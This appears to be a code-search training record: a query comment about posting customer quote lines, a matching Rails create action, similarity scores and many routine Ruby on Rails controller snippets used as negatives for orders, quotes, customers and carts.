"def create\n if params['q_param']['quote_id']!=nil\n @quote_id=params['q_param']['quote_id']\n @quote=Quote.find(@quote_id)\n client_id= @quote.client_id\n list=@quote.list\n total=@quote.total\n tax_rate=@quote.tax_rate\n @quote.update({:status=>2})\n title=@quote.title\n comment=@quote.comment\n else \n client_id=params['q_param']['client']\n @quote_id=nil\n list=nil\n total=nil\n tax_rate=nil\n title=params['q_param']['title']\n comment=params['q_param']['comment']\n end\n @client=Client.find_by_id(client_id)\n invoice_p={:title=>title,:comment=>comment,:quote_id=>@quote_id,:total=>total,:list=>list,:tax_rate=>tax_rate,}\n @invoice = @client.invoices.create(invoice_p)\n render json: {:invoice_id=>@invoice.id}\n end",
"def destroy\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @customer_quote_line.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was deleted updated.' }\n format.json { head :ok }\n end\n end",
"def new\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @payment_line }\n end\n end",
"def new\n @qa_client = QaClient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @qa_client }\n end\n end",
"def new\r\n @quote_box = QuoteBox.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @quote_box }\r\n end\r\n end",
"def new_for_order\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html\n format.json { render json: @cliente }\n end\n end",
"def new\n @client_transaction = ClientTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_transaction }\n end\n end",
"def index\n @quotes = Quote.order('created_at DESC')\n @quote = Quote.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quotes }\n end\n end",
"def new\n unread\n\n @cart = current_cart\n if @cart.line_items.empty?\n flash[:notice] = \"Your cart is empty\"\n redirect_to(:controller=>'store', :action=>'index')\n return\n end\n\n @order = Order.new\n @cart = current_cart\n @line_item = LineItem.find_by_cart_id(@cart)\n\n #getting branches\n supermarket = @line_item.product.seller.id\n @branches = Branch.find_all_by_seller_id(supermarket)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n quotes = OriginalQuote.all\n @quote = quotes.sample\n render json: @quote, status: 200\n end",
"def new\n\n #@credit_line = CreditLine.new\n @admin=Admin.find(current_admin.id)\n @credit_line = @admin.credit_lines.new\n\n puts (@admin.name)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @credit_line }\n end\n end",
"def new\n\t\t@cart = current_cart\n\t\tif @cart.line_items.empty?\n\t\t\tredirect_to store_url, notice: \"Your cart is empty\"\n\t\t\treturn\n\t\tend\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @purchase_return_line_item = PurchaseReturnLineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @purchase_return_line_item }\n end\n end",
"def multiple_new\n @customer_set = CustomerSet.new\n\n respond_to do |format|\n format.html # multiple_new.html.erb\n format.json { render json: @customer_set }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @quote_list = QuoteList.find(params[:quote_list_id])\n @page_section = @quote_list.page_section\n @page = @page_section.page\n @site_section = @page.site_section\n @quote = @quote_list.quotes.build\n\n respond_to do |format|\n format.js { render :partial => 'ajax_new' }\n format.html # new.html.erb\n format.xml { render :xml => @quote }\n end\n end",
"def new\n @shipping_line = ShippingLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @shipping_line }\n end\n end",
"def new\n @order = Order.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"def new\n @batting_line = BattingLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @batting_line }\n end\n end",
"def new\n @trade = Trade.new\n\n render json: @trade\n end",
"def new\n @trail = Trail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trail }\n end\n end",
"def new\n @trail = Trail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trail }\n end\n end",
"def new\n @line = ReportingForms::Tanimoto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def new\n @cart = current_cart\n if @cart.line_items.empty?\n redirect_to root_url, notice: \"Your cart is empty\"\n return\n end\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n #@order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @cust = Cust.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cust }\n end\n end",
"def new\n @potential_customer = PotentialCustomer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @potential_customer }\n end\n end",
"def new\n @cocktail_history = CocktailHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cocktail_history }\n end\n end",
"def new\n @order = Order.new\n\n respond_to do |format|\n format.html #new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @quote = Quote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quote }\n end\n end",
"def new\n @address_customer = AddressCustomer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @address_customer }\n end\n end",
"def create\n respond_to do |format|\n @quote_item = QuoteItem.new(quote_item_params.merge(order_id: current_customer.order_id))\n if @quote_item.save\n format.html { redirect_to @quote_item, notice: 'Quote item was successfully created.' }\n format.json { render :show, status: :created, location: @quote_item }\n else\n format.html { render :new }\n format.json { render json: @quote_item.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.6336475",
"0.62781185",
"0.6223795",
"0.61311376",
"0.61071455",
"0.6092834",
"0.6086364",
"0.6079747",
"0.6079747",
"0.6079747",
"0.6079747",
"0.6079747",
"0.6079747",
"0.6079747",
"0.6079747",
"0.6079747",
"0.6079747",
"0.6015527",
"0.5916114",
"0.58819103",
"0.5871632",
"0.5832542",
"0.5824203",
"0.5786426",
"0.5757735",
"0.57574517",
"0.5745506",
"0.5676497",
"0.56711084",
"0.56461483",
"0.56357914",
"0.5616844",
"0.5611491",
"0.5601359",
"0.56009614",
"0.5591056",
"0.553883",
"0.5528501",
"0.55201125",
"0.5518843",
"0.551818",
"0.5515292",
"0.55108434",
"0.55080706",
"0.55038667",
"0.54759276",
"0.54731566",
"0.5471647",
"0.54687524",
"0.5465089",
"0.54590315",
"0.5445028",
"0.5441664",
"0.54404485",
"0.5439791",
"0.5437484",
"0.5436469",
"0.53910524",
"0.5387758",
"0.5387142",
"0.5378566",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53707844",
"0.53703773",
"0.53686833",
"0.53599954",
"0.53581893",
"0.53581893",
"0.53581893",
"0.53581893",
"0.53581893",
"0.53496236",
"0.53384984",
"0.5335865",
"0.5335865",
"0.532612",
"0.5324756",
"0.53190106",
"0.53189605",
"0.5300846",
"0.5291562",
"0.5273827",
"0.52702004",
"0.5258991",
"0.52543074"
] | 0.6634123 | 0 |
POST customer_quotes/1/customer_quote_lines POST customer_quotes/1/customer_quote_lines.json | def create
@customer_quote = CustomerQuote.find(params[:customer_quote_id])
params[:customer_quote_line][:item_name_sub] = params[:alt_name_id]
@customer_quote_line = @customer_quote.customer_quote_lines.build(customer_quote_line_params)
@attachable = @customer_quote
respond_to do |format|
if @customer_quote_line.save
format.html { redirect_to new_customer_quote_customer_quote_line_path(@customer_quote), :notice => 'Customer quote line was successfully created.' }
format.json { render :json => @customer_quote_line, :status => :created, :location => [@customer_quote_line.customer_quote, @customer_quote_line] }
else
format.html { render :action => "new" }
format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @quote_line = QuoteLine.new(quote_line_params)\n\n respond_to do |format|\n if @quote_line.save\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully created.' }\n format.json { render action: 'show', status: :created, location: @quote_line }\n else\n format.html { render action: 'new' }\n format.json { render json: @quote_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.build\n @attachable = @customer_quote\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @customer_quote_line }\n end\n end",
"def destroy\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @customer_quote_line.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was deleted updated.' }\n format.json { head :ok }\n end\n end",
"def collect_order_line(shop_id, order_id, order_line)\n request(:post, \"shops/#{shop_id}/orders/#{order_id}/order_lines\", body: order_line).tap do |response|\n raise InvalidResponse, response.body unless response.status == 201\n end\n end",
"def quote_line_params\n params.require(:quote_line).permit(:qty, :discount, :product_id, :new_description, :quote_id)\n end",
"def create\n @line_item = @order.line_items.new(line_item_params)\n\n if @line_item.save\n render json: @line_item, status: :created, location: [@order, @line_item]\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def cow_order\n @order = Order.new\n @order.lines.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def set_quote_line\n @quote_line = QuoteLine.find(params[:id])\n end",
"def show\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @customer_quote_line }\n end\n end",
"def update\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @attachable = @customer_quote\n\n respond_to do |format|\n if @customer_quote_line.update_attributes(customer_quote_line_params)\n format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def quote(options = {})\n post(\"customers/#{customer_id}/delivery_quotes\", options)\n end",
"def create\n @order = Order.new(:customer_id => order_params[:customer_id])\n\n order_params[:line_items].each do |item|\n if !item.empty?\n @order.line_items.new(:product_id => item, :order_id => @order.id)\n @order.update(cost: @order.cost + @order.line_items[0].product.price)\n end\n end\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order_line = OrderLine.new(params[:order_line])\n\n respond_to do |format|\n if @order_line.save\n format.html { redirect_to @order_line, notice: 'Order line was successfully created.' }\n format.json { render json: @order_line, status: :created, location: @order_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order_line = OrderLine.new(order_line_params)\n \n if @order_line.order_id.nil?\n @order_line.order_id = current_order.id\n @order_line.value = @order_line.product.price*@order_line.quantity\n @order_line.status = OrderLine.status_requested\n end\n respond_to do |format|\n if @order_line.save\n # inform client\n WebsocketRails['order_lines_'+@order_line.order.id.to_s].trigger 'new', {:order => @order_line.order, :order_line => @order_line, :product => @order_line.product}\n format.html { redirect_to @order_line, notice: 'Order line was successfully created.' }\n format.json { render :show, status: :created, location: @order_line }\n else\n format.html { render :new }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @quote_lines = QuoteLine.all\n end",
"def create\n @client=Client.find_by_id(params['q_param']['client'])\n title=params['q_param']['title']\n comment=params['q_param']['comment']\n list = [[\"\",\"\",\"1\",\"\"]]\n quote_p={:title=>title,:comment=>comment, :status=>1, :list=>list}\n @quote = @client.quotes.create(quote_p)\n render json: {:quote_id=>@quote.id}\n\n # respond_to do |format|\n # if @quote.save\n # format.html { redirect_to index, notice: 'Quote was successfully created.' }\n # # format.json { render action: 'show', status: :created, location: @quote }\n # else\n # format.html { render action: 'new' }\n # # format.json { render json: @quote.errors, status: :unprocessable_entity }\n # end\n # end\nend",
"def create\n if params['q_param']['quote_id']!=nil\n @quote_id=params['q_param']['quote_id']\n @quote=Quote.find(@quote_id)\n client_id= @quote.client_id\n list=@quote.list\n total=@quote.total\n tax_rate=@quote.tax_rate\n @quote.update({:status=>2})\n title=@quote.title\n comment=@quote.comment\n else \n client_id=params['q_param']['client']\n @quote_id=nil\n list=nil\n total=nil\n tax_rate=nil\n title=params['q_param']['title']\n comment=params['q_param']['comment']\n end\n @client=Client.find_by_id(client_id)\n invoice_p={:title=>title,:comment=>comment,:quote_id=>@quote_id,:total=>total,:list=>list,:tax_rate=>tax_rate,}\n @invoice = @client.invoices.create(invoice_p)\n render json: {:invoice_id=>@invoice.id}\n end",
"def _line_items(order)\n params.require(:orders).each do |variant_id, info|\n count = info.require(:count)\n price = info.require(:price)\n variant = Variant.find variant_id\n LineItem.create(variant_id: variant_id, order: order, quantity: count,\n price: price).ready_to_pay!\n end\n end",
"def account_lines opts={}\n params ={\n account: opts.delete(:account) || client_account,\n ledger: :current\n }.merge!(opts)\n post :account_lines, params\n end",
"def destroy\n @quote_line.destroy\n respond_to do |format|\n format.html { redirect_to quote_lines_url }\n format.json { head :no_content }\n end\n end",
"def particular_customer_quotes\n offset = 0\n filter = \"%\"\n if (params[:offset].class.to_s != \"NilClass\" && params[:offset].integer?)\n offset = params[:offset].to_i\n end\n if (params[:filter].class.to_s != \"NilClass\")\n filter = \"%\" + params[:filter] + \"%\"\n end\n # lstQuotes = Quote.includes(:dispatcher, :customer, :status).order('dtCreated DESC').offset(offset).limit(30).to_json(include: [:dispatcher, :customer, :status])\n # it should be this query which is written down\n lstQuotes = Quote.includes(:dispatcher, :customer, :status).where(idClient: params[:no]).order('dtCreated DESC').offset(offset).limit(30).to_json(include: [:dispatcher, :customer, :status])\n # lstQuotes = Quote.includes(:dispatcher, :customer, :status).where(\"(note like ? OR status.name LIKE ? OR dispatcher.firstName LIKE ? OR dispatcher.lastName LIKE ? OR reference LIKE ? ) AND idClient = ?\", filter, filter, filter, filter, filter, params[:no]).order('DESC').offset(offset).limit(30)\n\n # lstQuotes.each do |quote|\n # # TODO! Format each quote before send it.\n # end\n return render_json_response(lstQuotes, :ok)\n end",
"def invoice # rubocop:disable all\n @province = Province.find(params[:province])\n @customer = Customer.find(session[:customer_id])\n customer_order = @customer.orders.build\n customer_order.status = 'outstanding'\n customer_order.pst_rate = @customer.province.pst\n customer_order.gst_rate = @customer.province.gst\n customer_order.hst_rate = @customer.province.hst\n customer_order.address = params[:address]\n customer_order.city = params[:city]\n customer_order.province = params[:province]\n customer_order.country_name = params[:country_name]\n customer_order.postal_code = params[:postal_code]\n customer_order.save\n\n session[:order_id] = customer_order.id\n session[:product_id].each do |product_id|\n product = Product.find(product_id)\n customer_item = customer_order.lineItems.build\n customer_item.order_id = customer_order.id\n customer_item.price = product.price\n customer_item.quantity = params[\"quantity_#{product.id}\"]\n customer_item.product_id = product.id\n customer_item.save\n end\n @line_items = LineItem.where('order_id = ?', session[:order_id])\n session[:order_complete] = true\n end",
"def index\n @line_items = @order.line_items\n\n render json: @line_items\n end",
"def create\n\n puts \"======ENTERING ORDER CREATE ROUTINE===\"\n\n @order = Order.new(order_params)\n\n puts \"=====EXECUTED ORDER.new ===============\"\n\n @order.user_id = current_user.id\n\n puts \"===Retrieving LINE_ITEMS in Order.create==============\"\n if user_signed_in? \n @line_items = LineItem.all.where(user: current_user).order(\"created_at DESC\")\n else\n @line_items = LineItem.all.where(user: 0)\n end\n\n @line_item = @line_items.first\n @order.delivery_date = @line_item.delivery_date\n @order.total_price = @line_items.to_a.sum { |item| item.unit_price(item.quantity) }\n\n Stripe.api_key = ENV[\"STRIPE_API_KEY\"]\n token = params[:stripeToken]\n\n begin\n charge = Stripe::Charge.create(\n :amount => ( 11.99 * 100).floor,\n :currency => \"usd\",\n :card => token\n )\n flash[:notice] = \"Thanks for ordering!\"\n rescue Stripe::CardError => e\n flash[:danger] = e.message\n end\n \n puts \"=======Entering Order.save=====\"\n\n respond_to do |format|\n if @order.save\n \n puts \"=====EXECUTED ORDER.new Order Id is #{@order.id}\"\n LineItem.where(:user_id => current_user).update_all(\"order_id = #{@order.id}\")\n\n Cart.destroy(session[:cart_id])\n session[:cart_id] = nil\n\n format.html { redirect_to store_index_path, notice: 'Thank you for your order.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quoteable = find_quoteable\n @quote = @quoteable.quotes.build(params[:quote])\n\n respond_to do |format|\n if @quote.save\n format.html { redirect_to @quote, notice: 'Quote was successfully created.' }\n format.json { render json: @quote, status: :created, location: @quote }\n else\n format.html { render action: \"new\" }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n @order.add_line_items_from_cart(@cart)\n\n respond_to do |format|\n if @order.save\n\n @wine_title = \"[\"\n @cart.line_items.each do |line_item|\n @wine_title += line_item.quantity.to_s\n @wine_title += ' items: '\n @wine_title += line_item.product.title\n @wine_title += ';'\n end\n @wine_title += \"]\"\n\n data = {'name' => @order.name, 'address' => @order.address,\n 'email' => @order.email, 'phone' => @order.phone, \n 'wine' => @wine_title}\n\n url = URI.parse('http://localhost:8080/order')\n req = Net::HTTP::Post.new(url,nitheader = {'Content-Type' =>'application/js on'})\n req.set_form_data(data)\n req.body = data.to_json\n begin\n res = Net::HTTP.start(url.host, url.port) {|http|\n http.request(req)\n }\n rescue\n end\n\n Cart.destroy(session[:cart_id])\n session[:cart_id] = nil\n OrderNotifier.received(@order).deliver\n format.html { redirect_to store_url}\n format.json { render action: 'show', status: :created,\n location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line = Line.new(line_params)\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to @line, notice: \"Line was successfully created.\" }\n format.json { render :show, status: :created, location: @line }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n @quote_item = QuoteItem.new(quote_item_params.merge(order_id: current_customer.order_id))\n if @quote_item.save\n format.html { redirect_to @quote_item, notice: 'Quote item was successfully created.' }\n format.json { render :show, status: :created, location: @quote_item }\n else\n format.html { render :new }\n format.json { render json: @quote_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_customer_quote\n @customer_quote = CustomerQuote.find(params[:id])\n end",
"def create_line_item_for_per_person_charge qty, vendor_id, notes\n event_vendor = event_vendors.where(:vendor_id => vendor_id).first\n new_line_items = create_line_item_for_per_person_charge_2(event_vendor.participation, event_vendor, true, true, \"\")\n line_items.push(new_line_items)\n new_line_items\n end",
"def create_line_item_for_per_person_charge qty, vendor_id, include_price_in_expense, include_price_in_revenue, notes\n event_vendor = event_vendors.where(:vendor_id => vendor_id).first\n line_items.push(create_line_item_for_per_person_charge_2(event_vendor.participation, event_vendor, true, true, \"\"))\n end",
"def order_line_params\n params.require(:order_line).permit(:order_id, :product_id, :qty, :unit_price, :total_price)\n end",
"def create\n @quote = Quote.new(quote_params)\n\n if user_signed_in?\n userCustomerList = Customer.where(:user_id => current_user.id)\n if userCustomerList.present?\n customer = userCustomerList.first\n @quote.CompanyName = userCustomerList.first.CompanyName\n @quote.Email = userCustomerList.first.EmailOfTheCompany\n\n subject = \"#{customer.NameOfContact} from #{customer.CompanyName}\"\n comment = \"The contact #{customer.NameOfContact} from company #{customer.CompanyName} can be reached at email #{customer.EmailOfTheCompany} and at phone number #{customer.CompanyContactPhone}. #{@quote.BuildingType} has a project named [PROJECT] which would require contribution from Rocket Elevators.\"\n ZendeskAPI::Ticket.create($zenclient, :subject => subject, :comment => { :value => comment }, :priority => \"normal\", :type => \"task\" ) # :email_ccs => [{ :user_email => :Email, :action => \"put\"}],\n\n end\n end\n\n respond_to do |format|\n if @quote.save\n format.html { redirect_to @quote, notice: \"Quote was successfully created.\" }\n format.json { render :show, status: :created, location: @quote }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n quote = Quote.create({\n quote_text: params[:quote_text],\n author: params[:author]\n })\n render json: quote\n end",
"def create\n if current_user.current_order\n @order = current_user.current_order\n else\n last_order = Order.last\n order_no = \"\"\n if last_order\n order_no = last_order.order_no\n order_no = \"A#{\"#{(order_no[/\\d+/].to_i + 1)}\".rjust(5,'0')}\"\n else\n order_no = \"A#{\"1\".rjust(5,'0')}\"\n end\n\n @order = current_user.orders.build(order_no: order_no, date: Time.now, closed: false)\n end\n product = Product.where(id: order_line_params[:product_id]).first\n merged = order_line_params.merge({:unit_price => product.price, :total_price => product.price * order_line_params[:qty].to_i})\n @order.order_lines.build(merged)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to products_path, notice: 'Order line was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def save_quote\n event_id = params[\"event_id\"]\n for each in Specification.where(event_id: event_id).where(exclude_from_quote: nil)\n if params[\"quoted_price-#{each.id}\"] == nil\n each.quoted_price = 0\n else\n each.quoted_price = (params[\"quoted_price-#{each.id}\"].gsub(\",\" , \"\").to_f * 100).round(2)\n end\n items_cost = params[\"per_item_cost-#{each.id}\"].to_f * 100.0\n each.per_item_cost = items_cost.round(2)\n each.per_item_list_price = (params[\"per_item_list_price-#{each.id}\"].to_f * 100).round(2)\n each.extended_list_price = (params[\"extended_list_price-#{each.id}\"].to_f * 100).round(2)\n each.save!\n end\n quote = Quote.where(event_id: event_id).first\n quote.quote_name = params[\"quote_name\"]\n quote.quote_style = params[\"quote_style\"]\n quoted_total_price = 0\n quoted_total_cost = 0\n for each in Specification.where(event_id: event_id).where(exclude_from_quote: nil)\n if each.quoted_price == nil\n each.quoted_price = 0\n else # do nothing\n end\n quoted_total_price = quoted_total_price + each.quoted_price\n quoted_total_cost = quoted_total_cost + (((each.per_item_cost / 100.0) * (each.item_quantity / 100.0)).round(2) * 100.0).round(2)\n end \n quote.total_price = quoted_total_price\n quote.total_cost = quoted_total_cost\n if quoted_total_cost != 0\n quote.markup = (quoted_total_price / quoted_total_cost) * 100\n else # do nothing\n end\n quote.status = params[\"status\"]\n if params[\"status\"] != \"Completed\" && params[\"status\"] != \"Ordered\"\n quote.wholesale_order_date = nil\n else # do nothing\n end\n quote.save!\n event = Event.where(id: event_id).first\n event.event_status = params[\"status\"]\n event.quote_message = params[\"quote_message\"]\n event.save!\n redirect_to \"/generate_quote/#{event_id}\" and return\n end",
"def create\n @order = Order.new(order_params)\n @order.add_line_items_from_cart(@cart)\n @order.donor_id = current_donor.id\n @order.price = @cart.total_price\n respond_to do |format|\n if @order.save\n @order.line_items.each do |line|\n thing = Product.find(line.product_id)\n thing.sold = true\n thing.save\n end\n token = params[:stripeToken]\n @amount = @cart.total_price.to_i*100\n\n charge = Stripe::Charge.create({\n amount: @amount,\n currency: 'aud',\n description: 'Example charge',\n source: token,\n \n })\n \n Order.new[:params]\n\n redirect_to controller: 'orders', action: 'show', id: Order.last.id\n\n\n Cart.destroy(session[:cart_id])\n session[:cart_id]\n format.html \n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase_order_item_line = PurchaseOrderItemLine.new(params[:purchase_order_item_line])\n\n respond_to do |format|\n if @purchase_order_item_line.save\n format.html { redirect_to @purchase_order_item_line, notice: 'Purchase order item line was successfully created.' }\n format.json { render json: @purchase_order_item_line, status: :created, location: @purchase_order_item_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase_order_item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def quote(params)\n request(Resources::RESOURCE_QUOTE, HTTP_METHOD_POST, params)\n end",
"def create\n @order = current_user.orders.build(:order_date => DateTime.now, :status => 'Pending')\n\n respond_to do |format|\n if @order.save\n @cart.line_items.each do |line_item| \n\n @orderitem = @order.order_items.create!(\n record_id: line_item.record_id,\n quantity: line_item.quantity,\n title: line_item.record.title,\n artist: line_item.record.artist,\n price: line_item.record.price,\n year: line_item.record.year,\n )\n end\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_line_item\n @line_item = order.line_items.find(params[:id])\n end",
"def create_xero_line_items(lines)\n lines.map do |(account, country, tax_rate), amounts|\n xero_tax_rate = find_or_create_tax_rate(country, tax_rate)\n\n if xero_tax_rate.nil?\n raise Error, \"Could not determine tax rate for #{country} (#{tax_rate})\"\n end\n\n {\n 'Description' => @proposal.invoice_line_description(account, country, tax_rate),\n 'Quantity' => 1,\n 'AccountCode' => account,\n 'TaxAmount' => amounts[:tax],\n 'LineAmount' => amounts[:amount],\n 'TaxType' => xero_tax_rate,\n 'Tracking' => tracking_options\n }\n end\n end",
"def create\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.build(params[:payment_line])\n\n respond_to do |format|\n if @payment_line.save\n format.html { redirect_to([@payment_line.payment, @payment_line], :notice => 'Payment line was successfully created.') }\n format.json { render :json => @payment_line, :status => :created, :location => [@payment_line.payment, @payment_line] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @payment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
